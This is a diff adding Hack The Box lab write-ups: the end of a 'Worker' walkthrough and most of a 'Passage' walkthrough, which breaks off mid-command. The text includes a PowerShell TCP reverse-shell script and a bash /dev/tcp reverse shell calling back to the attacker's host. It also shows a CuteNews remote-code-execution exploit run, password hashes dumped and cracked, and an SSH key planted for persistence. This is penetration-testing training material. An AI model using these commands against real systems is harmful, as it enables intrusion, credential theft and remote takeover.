] [ /dev/pts/0 ] [~/HTB/worker] + → mv Invoke-PowerShellTcpOneLine.ps1 shell.ps1 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/worker] + → python3 -m http.server 9090 + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] + → nc -lvnp 9001 + listening on [any] 9001 ... + + [terminal 3] + *Evil-WinRM* PS C:\Users\robisl\Desktop> cd C:\temp + *Evil-WinRM* PS C:\temp> dir + + + Directory: C:\temp + + + Mode LastWriteTime Length Name + ---- ------------- ------ ---- + -a---- 6/27/2021 4:25 PM 59392 nc.exe + + + *Evil-WinRM* PS C:\temp> iwr -uri http://10.10.14.11:9090/shell.ps1 -O shell.ps1 + *Evil-WinRM* PS C:\temp> type shell.ps1 + $client = New-Object System.Net.Sockets.TCPClient("10.10.14.11",9001);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close() + + + +Now that the powershell script is in place as well as the reverse shell netcat listener on port 9001, let's run it: + +![](prg/60_030.png) + +Click save and queue: + +![](prg/60_031.png) ![](prg/60_032.png) ![](prg/60_033.png) + +And now we know that our script has been successfully executed: + + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/worker] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.203] 51960 + + PS W:\agents\agent11\_work\9\s> whoami + nt authority\system + + +And we got a reverse shell connection as nt authority\system! Now let's get the root flag (also do it quickly because the reverse shell dies after 1 minute): + + + PS W:\agents\agent11\_work\9\s> cd C:\users\administrator\desktop + PS C:\users\administrator\desktop> type root.txt + 43XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +## **Conclusion** + +Here we can see the progress graph : + +![](img/60_graph.png) + diff --git a/Medium/61.md b/Medium/61.md new file mode 100644 index 0000000..64f61e1 --- /dev/null +++ b/Medium/61.md @@ -0,0 +1,501 @@ +# Passage Writeup + +![](img/61.png) + +## Introduction : + +Passage is a Medium Linux box released back in September 2020. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB] + → nmap -vvv -p- 10.10.10.206 --max-retries 0 -Pn --min-rate=500 2>/dev/null | grep Discovered + Discovered open port 80/tcp on 10.10.10.206 + Discovered open port 22/tcp on 10.10.10.206 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB] + → nmap -sCV -p22,80 10.10.10.206 + Starting Nmap 7.91 ( https://nmap.org ) at 2021-06-27 18:25 CEST + Nmap scan report for 10.10.10.206 + Host is up (0.47s latency). + + PORT STATE SERVICE VERSION + 22/tcp open ssh OpenSSH 7.2p2 Ubuntu 4 (Ubuntu Linux; protocol 2.0) + | ssh-hostkey: + | 2048 17:eb:9e:23:ea:23:b6:b1:bc:c6:4f:db:98:d3:d4:a1 (RSA) + | 256 71:64:51:50:c3:7f:18:47:03:98:3e:5e:b8:10:19:fc (ECDSA) + |_ 256 fd:56:2a:f8:d0:60:a7:f1:a0:a1:47:a4:38:d6:a8:a1 (ED25519) + 80/tcp open http Apache httpd 2.4.18 ((Ubuntu)) + |_http-server-header: Apache/2.4.18 (Ubuntu) + |_http-title: Passage News + Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 24.23 seconds + + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 80, and we see that this is a CuteNews instance: + +![](prg/61_001.png) + +We don't know the version of cutenews so we're going to use the most up to date RCE exploit we get from searchsploit: + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB] + → searchsploit cutenews Remote Code + ---------------------------------- --------------------------------- + Exploit Title | Path + ---------------------------------- --------------------------------- + CuteNews 1.1.1 - 'html.php' Remot | php/webapps/4851.txt + CuteNews 2.1.2 - 'avatar' Remote | php/remote/46698.rb + CuteNews 2.1.2 - Remote Code Exec | php/webapps/48800.py + ---------------------------------- --------------------------------- + Shellcodes: No Results + + + +Let's use **48800.py** + + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage] + → cp $(locate 48800.py) . + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage] + → vim 48800.py + + + +Looking at it we basically see that it's looking for a webpage at **/CuteNews/cdata/users/lines** : + +![](prg/61_002.png) + +So we can do this manually: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage] + → curl http://10.10.10.206/CuteNews/cdata/users/lines + ?php die('Direct call - access denied'); ?> + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319 + ?php die('Direct call - access denied'); ?> + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0= + ?php die('Direct call - access denied'); ?> + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319 + ?php die('Direct call - access denied'); ?> + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0= + ?php die('Direct call - access denied'); ?> + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0= + ?php die('Direct call - access denied'); ?> + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ== + ?php die('Direct call - access denied'); ?> + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319 + ?php die('Direct call - access denied'); ?> + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ== + ?php die('Direct call - access denied'); ?> + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0= + ?php die('Direct call - access denied'); ?> + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ== + ?php die('Direct call - access denied'); ?> + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319 + ?php die('Direct call - access denied'); ?> + YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19 + ?php die('Direct call - access denied'); ?> + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0= + ?php die('Direct call - access denied'); ?> + ?php die('Direct call - access denied'); ?> + ?php die('Direct call - access denied'); ?> + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo2OiJlZ3JlNTUiO2E6MTE6e3M6MjoiaWQiO3M6MTA6IjE1OTg4Mjk4MzMiO3M6NDoibmFtZSI7czo2OiJlZ3JlNTUiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo0OiJuaWNrIjtzOjY6ImVncmU1NSI7czo0OiJwYXNzIjtzOjY0OiI0ZGIxZjBiZmQ2M2JlMDU4ZDRhYjA0ZjE4ZjY1MzMxYWMxMWJiNDk0YjU3OTJjNDgwZmFmN2ZiMGM0MGZhOWNjIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czozOiJsdHMiO3M6MTA6IjE1OTg4MzQwNzkiO3M6MzoiYmFuIjtzOjE6IjAiO3M6NjoiYXZhdGFyIjtzOjI2OiJhdmF0YXJfZWdyZTU1X3Nwd3ZndWp3LnBocCI7czo2OiJlLWhpZGUiO3M6MDoiIjt9fX0= + ?php die('Direct call - access denied'); ?> + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0= + + +we basically get a bunch of base64 strings and some php lines, we don't want the php lines obviously: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage] + → curl http://10.10.10.206/CuteNews/cdata/users/lines | grep -v php > stuff.b64 + % Total % Received % Xferd Average Speed Time Time Time Current + Dload Upload Total Spent Left Speed + 100 3840 100 3840 0 0 4076 0 --:--:-- --:--:-- --:--:-- 4072 + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage] + → cat stuff.b64 + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6MTA6InBhdWwtY29sZXMiO319 + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5ODgyOTgzMztzOjY6ImVncmU1NSI7fX0= + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo2OiJlZ3JlNTUiO319 + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo1OiJhZG1pbiI7YTo4OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMDQ3IjtzOjQ6Im5hbWUiO3M6NToiYWRtaW4iO3M6MzoiYWNsIjtzOjE6IjEiO3M6NToiZW1haWwiO3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjQ6InBhc3MiO3M6NjQ6IjcxNDRhOGI1MzFjMjdhNjBiNTFkODFhZTE2YmUzYTgxY2VmNzIyZTExYjQzYTI2ZmRlMGNhOTdmOWUxNDg1ZTEiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3OTg4IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0= + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzI4MTtzOjk6InNpZC1tZWllciI7fX0= + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTc6Im5hZGF2QHBhc3NhZ2UuaHRiIjtzOjU6ImFkbWluIjt9fQ== + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6ImtpbUBleGFtcGxlLmNvbSI7czo5OiJraW0tc3dpZnQiO319 + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzIzNjtzOjEwOiJwYXVsLWNvbGVzIjt9fQ== + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJzaWQtbWVpZXIiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzI4MSI7czo0OiJuYW1lIjtzOjk6InNpZC1tZWllciI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToic2lkQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiU2lkIE1laWVyIjtzOjQ6InBhc3MiO3M6NjQ6IjRiZGQwYTBiYjQ3ZmM5ZjY2Y2JmMWE4OTgyZmQyZDM0NGQyYWVjMjgzZDFhZmFlYmI0NjUzZWMzOTU0ZGZmODgiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg1NjQ1IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIyIjt9fX0= + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzA0NztzOjU6ImFkbWluIjt9fQ== + YToxOntzOjU6ImVtYWlsIjthOjE6e3M6MTU6InNpZEBleGFtcGxlLmNvbSI7czo5OiJzaWQtbWVpZXIiO319 + YToxOntzOjQ6Im5hbWUiO2E6MTp7czoxMDoicGF1bC1jb2xlcyI7YTo5OntzOjI6ImlkIjtzOjEwOiIxNTkyNDgzMjM2IjtzOjQ6Im5hbWUiO3M6MTA6InBhdWwtY29sZXMiO3M6MzoiYWNsIjtzOjE6IjIiO3M6NToiZW1haWwiO3M6MTY6InBhdWxAcGFzc2FnZS5odGIiO3M6NDoibmljayI7czoxMDoiUGF1bCBDb2xlcyI7czo0OiJwYXNzIjtzOjY0OiJlMjZmM2U4NmQxZjgxMDgxMjA3MjNlYmU2OTBlNWQzZDYxNjI4ZjQxMzAwNzZlYzZjYjQzZjE2ZjQ5NzI3M2NkIjtzOjM6Imx0cyI7czoxMDoiMTU5MjQ4NTU1NiI7czozOiJiYW4iO3M6MToiMCI7czozOiJjbnQiO3M6MToiMiI7fX19 + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo5OiJraW0tc3dpZnQiO2E6OTp7czoyOiJpZCI7czoxMDoiMTU5MjQ4MzMwOSI7czo0OiJuYW1lIjtzOjk6ImtpbS1zd2lmdCI7czozOiJhY2wiO3M6MToiMyI7czo1OiJlbWFpbCI7czoxNToia2ltQGV4YW1wbGUuY29tIjtzOjQ6Im5pY2siO3M6OToiS2ltIFN3aWZ0IjtzOjQ6InBhc3MiO3M6NjQ6ImY2NjlhNmY2OTFmOThhYjA1NjIzNTZjMGNkNWQ1ZTdkY2RjMjBhMDc5NDFjODZhZGNmY2U5YWYzMDg1ZmJlY2EiO3M6MzoibHRzIjtzOjEwOiIxNTkyNDg3MDk2IjtzOjM6ImJhbiI7czoxOiIwIjtzOjM6ImNudCI7czoxOiIzIjt9fX0= + YToxOntzOjQ6Im5hbWUiO2E6MTp7czo2OiJlZ3JlNTUiO2E6MTE6e3M6MjoiaWQiO3M6MTA6IjE1OTg4Mjk4MzMiO3M6NDoibmFtZSI7czo2OiJlZ3JlNTUiO3M6MzoiYWNsIjtzOjE6IjQiO3M6NToiZW1haWwiO3M6MTU6ImVncmU1NUB0ZXN0LmNvbSI7czo0OiJuaWNrIjtzOjY6ImVncmU1NSI7czo0OiJwYXNzIjtzOjY0OiI0ZGIxZjBiZmQ2M2JlMDU4ZDRhYjA0ZjE4ZjY1MzMxYWMxMWJiNDk0YjU3OTJjNDgwZmFmN2ZiMGM0MGZhOWNjIjtzOjQ6Im1vcmUiO3M6NjA6IllUb3lPbnR6T2pRNkluTnBkR1VpTzNNNk1Eb2lJanR6T2pVNkltRmliM1YwSWp0ek9qQTZJaUk3ZlE9PSI7czozOiJsdHMiO3M6MTA6IjE1OTg4MzQwNzkiO3M6MzoiYmFuIjtzOjE6IjAiO3M6NjoiYXZhdGFyIjtzOjI2OiJhdmF0YXJfZWdyZTU1X3Nwd3ZndWp3LnBocCI7czo2OiJlLWhpZGUiO3M6MDoiIjt9fX0= + YToxOntzOjI6ImlkIjthOjE6e2k6MTU5MjQ4MzMwOTtzOjk6ImtpbS1zd2lmdCI7fX0= + + + +Now we simply decode these: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage] + → cat stuff.b64 | base64 -d + a:1:{s:5:"email";a:1:{s:16:"paul@passage.htb";s:10:"paul-coles";}}a:1:{s:2:"id";a:1:{i:1598829833;s:6:"egre55";}}a:1:{s:5:"email";a:1:{s:15:"egre55@test.com";s:6:"egre55";}}a:1:{s:4:"name";a:1:{s:5:"admin";a:8:{s:2:"id";s:10:"1592483047";s:4:"name";s:5:"admin";s:3:"acl";s:1:"1";s:5:"email";s:17:"nadav@passage.htb";s:4:"pass";s:64:"7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1";s:3:"lts";s:10:"1592487988";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483281;s:9:"sid-meier";}}a:1:{s:5:"email";a:1:{s:17:"nadav@passage.htb";s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"kim@example.com";s:9:"kim-swift";}}a:1:{s:2:"id";a:1:{i:1592483236;s:10:"paul-coles";}}a:1:{s:4:"name";a:1:{s:9:"sid-meier";a:9:{s:2:"id";s:10:"1592483281";s:4:"name";s:9:"sid-meier";s:3:"acl";s:1:"3";s:5:"email";s:15:"sid@example.com";s:4:"nick";s:9:"Sid Meier";s:4:"pass";s:64:"4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88";s:3:"lts";s:10:"1592485645";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:2:"id";a:1:{i:1592483047;s:5:"admin";}}a:1:{s:5:"email";a:1:{s:15:"sid@example.com";s:9:"sid-meier";}}a:1:{s:4:"name";a:1:{s:10:"paul-coles";a:9:{s:2:"id";s:10:"1592483236";s:4:"name";s:10:"paul-coles";s:3:"acl";s:1:"2";s:5:"email";s:16:"paul@passage.htb";s:4:"nick";s:10:"Paul Coles";s:4:"pass";s:64:"e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd";s:3:"lts";s:10:"1592485556";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"2";}}}a:1:{s:4:"name";a:1:{s:9:"kim-swift";a:9:{s:2:"id";s:10:"1592483309";s:4:"name";s:9:"kim-swift";s:3:"acl";s:1:"3";s:5:"email";s:15:"kim@example.com";s:4:"nick";s:9:"Kim Swift";s:4:"pass";s:64:"f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca";s:3:"lts";s:10:"1592487096";s:3:"ban";s:1:"0";s:3:"cnt";s:1:"3";}}}a:1:{s:4:"name";a:1:{s:6:"egre55";a:11:{s:2:"id";s:10:"1598829833";s:4:"name";s:6:"egre55";s:3:"acl";s:1:"4";s:5:"email";s:15:"egre55@test.com";s:4:"nick";s:6:"egre55";s:4:"pass";s:64:"4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc";s:4:"more";s:60:"YToyOntzOjQ6InNpdGUiO3M6MDoiIjtzOjU6ImFib3V0IjtzOjA6IiI7fQ==";s:3:"lts";s:10:"1598834079";s:3:"ban";s:1:"0";s:6:"avatar";s:26:"avatar_egre55_spwvgujw.php";s:6:"e-hide";s:0:"";}}}a:1:{s:2:"id";a:1:{i:1592483309;s:9:"kim-swift";}}% + + +It looks ugly in one line but we only want the 64 characters long hashes which are basically password hashes, so we save them in another file: + + + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → echo '7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1' > hashes.txt + + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → echo '4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88' >> hashes.txt + + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → echo 'e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd' >> hashes.txt + + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → echo 'f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca' >> hashes.txt + + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → echo '4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc' >> hashes.txt + + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → cat hashes.txt + 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1 + 4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88 + e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd + f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca + 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc + + +Now that we have our password hashes let's crack them online: + +![](prg/61_003.png) + +So right here we have 2 credentials **egre555:egre555** and **paul:atlanta1** , now let's run the python script to get RCE and a reverse shell onto the box: + + + [ 10.10.14.11/23 ] [ /dev/pts/0 ] [~/HTB/passage] + → python3 48800.py + + + + _____ __ _ __ ___ ___ ___ + / ___/_ __/ /____ / |/ /__ _ _____ |_ | < / |_ | + / /__/ // / __/ -_) / -_) |/|/ (_- / __/_ / / / __/ + \___/\_,_/\__/\__/_/|_/\__/|__,__/___/ /____(_)_(_)____/ + ___ _________ + / _ \/ ___/ __/ + / , _/ /__/ _/ + /_/|_|\___/___/ + + + + + [->] Usage python3 expoit.py + + Enter the URL> http://10.10.10.206 + ================================================================ + Users SHA-256 HASHES TRY CRACKING THEM WITH HASHCAT OR JOHN + ================================================================ + 7144a8b531c27a60b51d81ae16be3a81cef722e11b43a26fde0ca97f9e1485e1 + 4bdd0a0bb47fc9f66cbf1a8982fd2d344d2aec283d1afaebb4653ec3954dff88 + e26f3e86d1f8108120723ebe690e5d3d61628f4130076ec6cb43f16f497273cd + f669a6f691f98ab0562356c0cd5d5e7dcdc20a07941c86adcfce9af3085fbeca + 4db1f0bfd63be058d4ab04f18f65331ac11bb494b5792c480faf7fb0c40fa9cc + ================================================================ + + ============================= + Registering a users + ============================= + [+] Registration successful with username: 2Try8myZEO and password: 2Try8myZEO + + ======================================================= + Sending Payload + ======================================================= + signature_key: fe0e5ee6388a2c269ba1a68f5c176505-2Try8myZEO + signature_dsi: 44e4955df800171626681b1c1c666d3f + logged in user: 2Try8myZEO + ============================ + Dropping to a SHELL + ============================ + + command > id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +So here we get RCE as www-data, now let's spawn a reverse bash shell with it: + + + [terminal 1] + command > bash -c 'bash -i >& /dev/tcp/10.10.14.11/9001 0>&1' + + [terminal 2] + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → nc -lvnp 9001 + listening on [any] 9001 ... + connect to [10.10.14.11] from (UNKNOWN) [10.10.10.206] 40140 + bash: cannot set terminal process group (1562): Inappropriate ioctl for device + bash: no job control in this shell + www-data@passage:/var/www/html/CuteNews/uploads$ id + id + uid=33(www-data) gid=33(www-data) groups=33(www-data) + + +So as expected we get a reverse shell as www-data, let's first spawn a fully-interactive TTY: + + + www-data@passage:/var/www/html/CuteNews/uploads$ which python python3 wget curl + /usr/bin/python + /usr/bin/python3 + /usr/bin/wget + /usr/bin/curl + + www-data@passage:/var/www/html/CuteNews/uploads$ cd /tmp + cd /tmp + + www-data@passage:/tmp$ python3 -c 'import pty;pty.spawn("/bin/bash")' + python3 -c 'import pty;pty.spawn("/bin/bash")' + + www-data@passage:/tmp$ ^Z + [1] + 2211312 suspended nc -lvnp 9001 + + [ 10.10.14.11/23 ] [ /dev/pts/30 ] [~/HTB/passage] + → stty raw -echo ; fg + [1] + 2211312 continued nc -lvnp 9001 + export TERM=screen-256color + + www-data@passage:/tmp$ export SHELL=bash + + www-data@passage:/tmp$ stty rows 50 columns 200 + + www-data@passage:/tmp$ reset + + + +And now we have a fully interactive TTY, now let's use **su** to privesc to the user paul since we got his credentials earlier: + + + www-data@passage:/tmp$ su paul + Password: + paul@passage:/tmp$ cd ~ + paul@passage:~$ ls -lash + total 112K + 4.0K drwxr-x--- 16 paul paul 4.0K Feb 5 06:30 . + 4.0K drwxr-xr-x 4 root root 4.0K Jul 21 2020 .. + 0 ---------- 1 paul paul 0 Jul 21 2020 .bash_history + 4.0K -rw-r--r-- 1 paul paul 220 Aug 31 2015 .bash_logout + 4.0K -rw-r--r-- 1 paul paul 3.7K Jul 21 2020 .bashrc + 4.0K drwx------ 10 paul paul 4.0K Sep 1 2020 .cache + 4.0K drwx------ 14 paul paul 4.0K Aug 24 2020 .config + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Desktop + 4.0K -rw-r--r-- 1 paul paul 25 Aug 24 2020 .dmrc + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Documents + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Downloads + 12K -rw-r--r-- 1 paul paul 8.8K Apr 20 2016 examples.desktop + 4.0K drwx------ 2 paul paul 4.0K Aug 24 2020 .gconf + 4.0K drwx------ 3 paul paul 4.0K Feb 5 06:58 .gnupg + 4.0K -rw------- 1 paul paul 1.9K Feb 5 06:30 .ICEauthority + 4.0K drwx------ 3 paul paul 4.0K Aug 24 2020 .local + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Music + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Pictures + 4.0K -rw-r--r-- 1 paul paul 655 May 16 2017 .profile + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Public + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 .ssh + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Templates + 4.0K -r-------- 1 paul paul 33 Jun 27 10:49 user.txt + 4.0K drwxr-xr-x 2 paul paul 4.0K Jul 21 2020 Videos + 4.0K -rw------- 1 paul paul 52 Feb 5 06:30 .Xauthority + 4.0K -rw------- 1 paul paul 1.3K Feb 5 06:58 .xsession-errors + 4.0K -rw------- 1 paul paul 1.2K Feb 5 04:42 .xsession-errors.old + paul@passage:~$ cat user.txt + 77XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And we got the user flag. + +## **Part 3 : Getting Root Access** + +Now in order to privesc this box we can run linpeas.sh after adding our public ssh key to the box for ease of use: + + + [terminal 1] + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage] + → cp /home/nothing/HTB/openkeys/linpeas.sh . + + [ 10.10.14.11/23 ] [ /dev/pts/28 ] [~/HTB/passage] + → python3 -m http.server 9090 + Serving HTTP on 0.0.0.0 port 9090 (http://0.0.0.0:9090/) ... + + [terminal 2] + paul@passage:~$ echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIAfhgjcMFy5mO4fwhQyW6vdX5bgTzqZTh9MhCW7+k6Sj nothing@nowhere' >> ~/.ssh/authorized_keys + + [ 10.10.14.11/23 ] [ /dev/pts/3 ] [~/HTB/passage] + → ssh paul@10.10.10.206 -i ~/.ssh/mainpc + The authenticity of host '10.10.10.206 (10.10.10.206)' can't be established. + ECDSA key fingerprint is SHA256:oRyj2rNWOCrVh9SCgFGamjppmxqJUlGgvI4JSVG75xg. + Are you sure you want to continue connecting (yes/no/[fingerprint])? yes + Warning: Permanently added '10.10.10.206' (ECDSA) to the list of known hosts. + paul@passage:~$ id + uid=1001(paul) gid=1001(paul) groups=1001(paul) + paul@passage:~$ wget 